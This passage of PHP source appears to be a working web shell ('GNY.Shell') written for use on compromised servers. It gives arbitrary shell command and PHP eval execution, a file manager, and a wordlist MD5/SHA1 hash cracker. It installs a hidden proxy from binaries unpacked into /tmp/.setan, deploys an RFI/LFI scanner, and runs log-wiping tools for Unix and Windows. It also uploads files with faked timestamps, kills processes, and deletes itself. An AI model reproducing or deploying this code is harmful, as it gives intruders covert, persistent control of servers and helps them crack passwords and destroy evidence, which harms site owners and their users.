<input type=text size=40 name=h> <input type=submit value="Submit">

Wordlist Hash Cracker

<input type=hidden name="act" value="encoder"><input type=hidden name="d" value=" echo $d; ">Enter hash: <input type=text width=300 name="hash" size=40>
Wordlist: <input type=text name="wordlist" size=40>
Type: <select name="type"><option value="md5">MD5</option><option value="sha1">SHA1</option></select> <input type=submit value="Crack Hash">
// my wordlist cracker ^_^if (isset($_GET['hash']) && isset($_GET['wordlist']) && ($_GET['type'] == 'md5' || $_GET['type'] == 'sha1')) { $type = $_GET['type']; $hash = $_GET['hash']; $count = 1; $wordlist = file($_GET['wordlist']); $words = count($wordlist); foreach ($wordlist as $word) { echo $count.' of '.$words.': '.$word.'
'; if ($hash == $type(rtrim($word))) { echo '<font color=red>Great success! The password is: '.$word.'</font>
'; break; } ++$count; }}} if ($act == 'fsbuff') { $arr_copy = $sess_data["copy"]; $arr_cut = $sess_data["cut"]; $arr = array_merge($arr_copy,$arr_cut); if (count($arr) == 0) {echo "
Buffer is empty!
";} else {echo "File-System buffer

"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} } if ($act == 'proxy') { if ($_GET['ipisk'] == 'yup') { cf("/tmp/hantu.tgz",$proxy_shit); ex("cd /tmp;tar -zxvf hantu.tgz"); ex("cd /tmp;cd .setan;chmod 777 xh"); ex("cd /tmp;cd .setan;chmod 777 httpd"); ex("cd /tmp;cd .setan;./xh -s [kmod] ./httpd start"); checkproxyhost(); $msg = $_POST['proxyhostmsg']; echo("$msg"); unlink("/tmp/hantu.tgz"); ex("cd /tmp; rm -r .setan"); }else echo '
Are you sure you want to install an IP:Port proxy on this website/server?<br />Please note, some servers with firewalls or other security features may not be compatible with this, even if the proxy appears to be installed.<br /><br /><font color=green><a href="'.$surl.'&act=proxy&ipisk=yup">Yes</a></font> || <font color=red><a href="'.$surl.'">No</a></font>
';}if ($act == 'fi'){Install Local RFI/LFI Scanner
<input type=hidden name="act" value="fi"><input type=hidden name="install" value="yup">Path to install in: <input type=text name="path" value=" echo $d; "> (must have final /)
<input type=submit value="Install">
if ($_GET['install'] == 'yup') { if (is_writable($_GET['path'])) { cf($_GET['path'].'fi.pl', $fi); echo '<font color=green>fi.pl was created in '.htmlentities($_GET['path']).'</font>'; chmod($_GET['path'].'/fi.pl', 0777); echo '<br />To execute, browse to the directory you installed the scanner in and execute it from there using \'perl fi.pl\''; }else{ echo '<font color=red>Directory is not writable!
</font>'; } }}if ($act == 'phpproxy'){Install PHP Based Proxy
<input type=hidden name="act" value="phpproxy"><input type=hidden name="install" value="yup">Path to install in: <input type=text name="path" value=" echo $d; "> (must have final /)
<input type=submit value="Install">
if ($_GET['install'] == 'yup') { if (is_writable($_GET['path'])) { cf($_GET['path'].'proxy.php', $phpproxy); echo '<font color=green>proxy.php was created in '.htmlentities($_GET['path']).'</font>'; chmod($_GET['path'].'/proxy.php', 0777); }else{ echo '<font color=red>Directory is not writable!
</font>'; } }}if ($act == 'selfremove') { if ($_GET['bai'] == 'k'){ if (unlink(__FILE__)){ @ob_clean(); echo 'GNY.Shell has been deleted and is now gone.'; GNYexit(); }else{ echo "
Cannot delete ".__FILE__."!
";} }else{ echo '
Are you sure you want to permanently remove '.__FILE__.'?
<a href="'.$surl.'act=selfremove&bai=k">Yes</a> || <a href="'.$surl.'">No</a>
'; } } if ($act == 'update') {$ret = sh_getupdate(!!$confirmupdate); echo "".$ret.""; if (stristr($ret,"new version")) {echo "

<input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} if ($act == 'search') { echo "Search in file-system:
"; if (empty($search_in)) {$search_in = $d;} if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} if (empty($search_text_wwo)) {$search_text_regexp = 0;} if (!empty($submit)) { $found = array(); $found_d = 0; $found_f = 0; $search_i_f = 0; $search_i_d = 0; $a = array ( "name"=>$search_name, "name_regexp"=>$search_name_regexp, "text"=>$search_text, "text_regexp"=>$search_text_regxp, "text_wwo"=>$search_text_wwo, "text_cs"=>$search_text_cs, "text_not"=>$search_text_not ); $searchtime = getmicrotime(); $in = array_unique(explode(";",$search_in)); foreach($in as $v) {fsearch($v);} $searchtime = round(getmicrotime()-$searchtime,4); if (count($found) == 0) {echo "No files found!";} else { $ls_arr = $found; $disp_fullpath = TRUE; $act = "ls"; } } echo "
<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> Search for (file/folder name): <input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
Search in (explode \";\"): <input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">

Text:
<textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>

<input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text

<input type=submit name=submit value=\"Search\">
"; if ($act == 'ls') {$dspact = $act; echo "<hr size=\"1\" noshade>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).

";} } if ($act == 'chmod') { $mode = fileperms($d.$f); if (!$mode) {echo "Change file-mode with error: can't get current value.";} else { $form = TRUE; if ($chmod_submit) { $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} else {$err = "Can't chmod to ".$octet.".";} } if ($form) { $perms = parse_perms($mode); echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
".($err?"Error: ".$err:"")."
<input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5>Owner

<input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read
<input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write
<input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"")."> ExecuteGroup

<input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read
<input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write
<input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"")."> Execute</font>World

<input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read
<input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write
<input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"")."> Execute</font><input type=submit name=chmod_submit value=\"Save\">
"; } } } if ($act == "upload") { $uploadmess = ""; $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); if (empty($uploadpath)) {$uploadpath = $d;} elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} if (!empty($submit)) { global $HTTP_POST_FILES; $uploadfile = $HTTP_POST_FILES["uploadfile"]; if (!empty($uploadfile["tmp_name"])) { if (empty($uploadfilename)) {$destin = $uploadfile["name"];} else {$destin = $userfilename;} if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!
";} } elseif (!empty($uploadurl)) { if (!empty($uploadfilename)) {$destin = $uploadfilename;} else { $destin = explode("/",$destin); $destin = $destin[count($destin)-1]; if (empty($destin)) { $i = 0; $b = ""; while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} } if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url!
";} else { $st = getmicrotime(); $content = @file_get_contents($uploadurl); $dt = round(getmicrotime()-$st,4); if (!$content) {$uploadmess .= "Can't download file!
";} else { if ($filestealth) {$stat = stat($uploadpath.$destin);} $fp = fopen($uploadpath.$destin,"w"); if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!
";} else { fwrite($fp,$content,strlen($content)); fclose($fp); if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} } } } } } if ($miniform) { echo "".$uploadmess.""; $act = "ls"; } else { echo "File upload:
".$uploadmess."
Select file on your local computer: <input name=\"uploadfile\" type=\"file\">
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or
Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\">

Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\">

File-name (auto-fill): <input name=uploadfilename size=25>

<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase

<input type=submit name=submit value=\"Upload\">
"; } } if ($act == 'md5file') {
MD5 Checksum:

<table border=0 align=center> foreach ($actbox as $v) echo ''.md5_file($v).''.$v.'';echo "
<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><td width=\"100%\" valign=\"top\">"; $act = 'ls';}if ($act == 'sha1file') {
SHA1 Checksum:

<table border=0 align=center> foreach ($actbox as $v) echo ''.sha1_file($v).''.$v.'';echo "
<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><td width=\"100%\" valign=\"top\">"; $act = 'ls';}if ($act == 'delete'){ $delerr = ''; foreach ($actbox as $v) { $result = FALSE; $result = fs_rmobj($v); if (!$result) $delerr .= 'Can\'t delete '.htmlspecialchars($v).'
'; } if (!empty($delerr)) echo 'Deleting with errors:
'.$delerr; $act = 'ls';} if (!$usefsbuff) { if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "
Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.
";} } else { if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); sess_put($sess_data); $act = "ls"; } elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); sess_put($sess_data); $act = "ls";} elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} sess_put($sess_data); $act = "ls";} if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); sess_put($sess_data);} elseif ($actpastebuff) { $psterr = ""; foreach($sess_data["copy"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!
";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!
";} unset($sess_data["cut"][$k]); } sess_put($sess_data); if (!empty($psterr)) {echo "Pasting with errors:
".$psterr;} $act = "ls"; } elseif ($actarcbuff) { $arcerr = ""; if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} else {$ext = ".tar.gz";} if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} $cmdline .= " ".$actarcbuff_path; $objects = array_merge($sess_data["copy"],$sess_data["cut"]); foreach($objects as $v) { $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} if (is_dir($v)) { if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} $v .= "*"; } $cmdline .= " ".$v; } $tmp = realpath("."); chdir($d); $ret = myshellexec($cmdline); chdir($tmp); if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!
";} $ret = str_replace("\r\n","\n",$ret); $ret = explode("\n",$ret); if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} foreach($sess_data["cut"] as $k=>$v) { if (in_array($v,$ret)) {fs_rmobj($v);} unset($sess_data["cut"][$k]); } sess_put($sess_data); if (!empty($arcerr)) {echo "Archivation errors:
".$arcerr;} $act = "ls"; } elseif ($actpastebuff) { $psterr = ""; foreach($sess_data["copy"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!
";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!
";} unset($sess_data["cut"][$k]); } sess_put($sess_data); if (!empty($psterr)) {echo "Pasting with errors:
".$psterr;} $act = "ls"; } }// the wipe logs stuff needs to be before cmd, because it will change the $act if the write is successfulif ($act == 'zap2') { // *nix cleaner if (is_writable('.')) { cf($act, $$act); // 'tis pure innovation of optimization :) chmod($act, 0777); $cmd = './'.$act; // keep this before $act = 'cmd'; $act = 'cmd'; $cmd_txt = '1'; }else{ echo 'Directory Is Not Writable!
'; }}if ($act == 'clearlogs') { // windows cleaners if (is_writable('.')) { cf($act.'.exe', $$act); chmod($act.'.exe', 0777); $cmd = $act.'.exe'; $act = 'cmd'; $cmd_txt = '1'; }else{ echo 'Directory Is Not Writable!
'; }}if ($act == 'cmd') {if (trim($cmd) == "ps -aux") $act = 'processes';else { @chdir($chdir); if (!empty($submit)) { echo "Result of execution this command:
"; $olddir = realpath("."); @chdir($d); $ret = myshellexec($cmd); $ret = convert_cyr_string($ret,"d","w"); if ($cmd_txt) { $rows = count(explode("\r\n",$ret))+1; if ($rows < 10) {$rows = 10;} echo "
<textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; } else {echo $ret."
";} @chdir($olddir); } else {echo "Execution command"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} echo "
<input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\">

<input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo ">
"; } } if ($act == 'ls'){ if (count($ls_arr) > 0) {$list = $ls_arr;} else { $list = array(); if ($h = @opendir($d)) { while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} closedir($h); } else {} } if (count($list) == 0) {echo "
Can't open folder (".htmlspecialchars($d).")!
";} else { //Building array $objects = array(); $vd = "f"; //Viewing mode if ($vd == "f") { $objects["head"] = array(); $objects["folders"] = array(); $objects["links"] = array(); $objects["files"] = array(); foreach ($list as $v) { $o = basename($v); $row = array(); if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} elseif (is_dir($v)) { if (is_link($v)) {$type = "LINK";} else {$type = "DIR";} $row[] = $v; $row[] = $type; } elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} $row[] = filemtime($v); if (!$win) { $ow = posix_getpwuid(fileowner($v)); $gr = posix_getgrgid(filegroup($v)); $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); } $row[] = fileperms($v); if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} elseif (is_link($v)) {$objects["links"][] = $row;} elseif (is_dir($v)) {$objects["folders"][] = $row;} elseif (is_file($v)) {$objects["files"][] = $row;} $i++; } $row = array(); $row[] = 'Name'; $row[] = 'Size'; $row[] = 'Modify'; if (!$win) $row[] = 'Owner/Group'; $row[] = 'Perms'; $row[] = 'Action'; $parsesort = parsesort($sort); $sort = $parsesort[0].$parsesort[1]; $k = $parsesort[0]; if ($parsesort[1] != "a") {$parsesort[1] = "d";} $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; $y .= ($parsesort[1] == "a"?" [asc]":" [desc]"); $row[$k] .= $y; for($i=0;$i<count($row)-1;$i++) { if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} } $v = $parsesort[0]; usort($objects["folders"], "tabsort"); usort($objects["links"], "tabsort"); usort($objects["files"], "tabsort"); if ($parsesort[1] == "d") { $objects["folders"] = array_reverse($objects["folders"]); $objects["files"] = array_reverse($objects["files"]); } $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); $tab = array(); $tab["cols"] = array($row); $tab["head"] = array(); $tab["folders"] = array(); $tab["links"] = array(); $tab["files"] = array(); $i = 0; foreach ($objects as $a) { $v = $a[0]; $o = basename($v); $dir = dirname($v); if ($disp_fullpath) {$disppath = $v;} else {$disppath = $o;} $disppath = str2mini($disppath,60); if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} foreach ($regxp_highlight as $r) { if (ereg($r[0],$o)) { if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; GNYexit();} else { $r[1] = round($r[1]); $isdir = is_dir($v); if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { if (empty($r[2])) {$r[2] = ""; $r[3] = "";} $disppath = $r[2].$disppath.$r[3]; if ($r[4]) {break;} } } } } $uo = urlencode($o); $ud = urlencode($dir); $uv = urlencode($v); $row = array(); if ($o == ".") { $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; $row[] = "LINK"; } elseif ($o == "..") { $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; $row[] = "LINK"; } elseif (is_dir($v)) { if (is_link($v)) { $disppath .= " => ".readlink($v); $type = "LINK"; $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; } else { $type = "DIR"; $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; } $row[] = $type; } elseif(is_file($v)) { $ext = explode(".",$o); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $row[] = "&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; $row[] = view_size($a[1]); } $row[] = date("d.m.Y H:i:s",$a[2]); if (!$win) {$row[] = $a[3];} $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\">".view_perms_color($v)."</a>"; if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\">[info]</a>&nbsp;".$checkbox;} else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\">[info]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\">[change]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\">[download]</a>&nbsp;".$checkbox;} if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} elseif (is_link($v)) {$tab["links"][] = $row;} elseif (is_dir($v)) {$tab["folders"][] = $row;} elseif (is_file($v)) {$tab["files"][] = $row;} $i++; } } // Compiling table $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); echo "
Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):

<TABLE cellSpacing=0 cellPadding=0 width=100% bgcolor=#000000 borderColorLight=#433333 border=0>
<input type=hidden name=act value=".$dspact.'><input type=hidden name=d value="'.$dispd.'">'; $countrows = 0; foreach($table as $row) { if ($countrows & 1) { echo "<tr bgcolor=#111111>\r\n"; } else { echo "\r\n"; } ++$countrows; foreach($row as $v) {echo "".$v."\r\n";} echo "\r\n"; } echo "<hr size=\"1\" noshade><p align=\"right\"> <script> function ls_setcheckboxall(status) { var id = 1; var num = ".(count($table)-2)."; while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; } } function ls_reverse_all() { var id = 1; var num = ".(count($table)-2)."; while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; } } </script> <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> "; if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) { echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; } echo "<select name=act><option value=\"".$act."\">With selected:</option>"; echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change Mode</option>"; echo "<option value=md5file".($dspact == "md5file"?" selected":"").">MD5 Checksum</option>"; echo "<option value=sha1file".($dspact == "sha1file"?" selected":"").">SHA1 Checksum</option>"; if ($usefsbuff) { echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; echo '<option value=unselect'.($dspact == "unselect"?" selected":"").'>Unselect</option>'; } echo '</select> <input type=submit value="Confirm"></p>'; } } if ($act == 'processes') { echo "Processes:
"; if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} else {$handler = "tasklist";} $ret = myshellexec($handler); if (!$ret) {echo "Can't execute \"".$handler."\"!";} else { if (empty($processes_sort)) {$processes_sort = $sort_default;} $parsesort = parsesort($processes_sort); if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} $k = $parsesort[0]; if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"> [sort]</a>";} else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"> [sort]</a>";} $ret = htmlspecialchars($ret); if (!$win) { if ($pid) { if (is_null($sig)) {$sig = 9;} echo "Sending signal ".$sig." to #".$pid."... "; if (posix_kill($pid,$sig)) {echo "OK.";} else {echo "ERROR.";} } while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} $stack = explode("\n",$ret); $head = explode(" ",$stack[0]); unset($stack[0]); for($i=0;$i<count($head);$i++) { if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\">".$head[$i]."</a>";} } $prcs = array(); foreach ($stack as $line) { if (!empty($line)) { echo ""; $line = explode(" ",$line); $line[10] = join(" ",array_slice($line,10)); $line = array_slice($line,0,11); if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; $prcs[] = $line; echo ""; } } } else { while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg("",$ret)) {$ret = str_replace("","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} $ret = convert_cyr_string($ret,"d","w"); $stack = explode("\n",$ret); unset($stack[0],$stack[2]); $stack = array_values($stack); $head = explode("",$stack[0]); $head[1] = explode(" ",$head[1]); $head[1] = $head[1][0]; $stack = array_slice($stack,1); unset($head[2]); $head = array_values($head); if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"> [sort]</a>";} else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"> [sort]</a>";} if ($k > count($head)) {$k = count($head)-1;} for($i=0;$i<count($head);$i++) { if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\">".trim($head[$i])."</a>";} } $prcs = array(); foreach ($stack as $line) { if (!empty($line)) { echo ""; $line = explode("",$line); $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); $line[2] = intval(str_replace(" ","",$line[2]))*1024; $prcs[] = $line; echo ""; } } } $head[$k] = "".$head[$k]."".$y; $v = $processes_sort[0]; usort($prcs,"tabsort"); if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} $tab = array(); $tab[] = $head; $tab = array_merge($tab,$prcs); echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; foreach($tab as $i=>$k) { echo ""; foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "".$v."";} echo ""; } echo ""; } } if ($act == "eval") { if (!empty($eval)) { echo "Result of execution this PHP-code:
"; $tmp = ob_get_contents(); $olddir = realpath("."); @chdir($d); if ($tmp) { ob_clean(); eval($eval); $ret = ob_get_contents(); $ret = convert_cyr_string($ret,"d","w"); ob_clean(); echo $tmp; if ($eval_txt) { $rows = count(explode("\r\n",$ret))+1; if ($rows < 10) {$rows = 10;} echo "
<textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; } else {echo $ret."
";} } else { if ($eval_txt) { echo "
<textarea cols=\"122\" rows=\"15\" readonly>"; eval($eval); echo "</textarea>"; } else {echo $ret;} } @chdir($olddir); } else {echo "Execute PHP-code"; if (empty($eval_txt)) {$eval_txt = TRUE;}} echo "
<input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\">

<input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo ">
"; } if ($act == 'f') { if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { if (file_exists($d.$f)) {echo "
Permision denied (".htmlspecialchars($d.$f).")!
";} else {echo "
File does not exists (".htmlspecialchars($d.$f).")!
<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a>
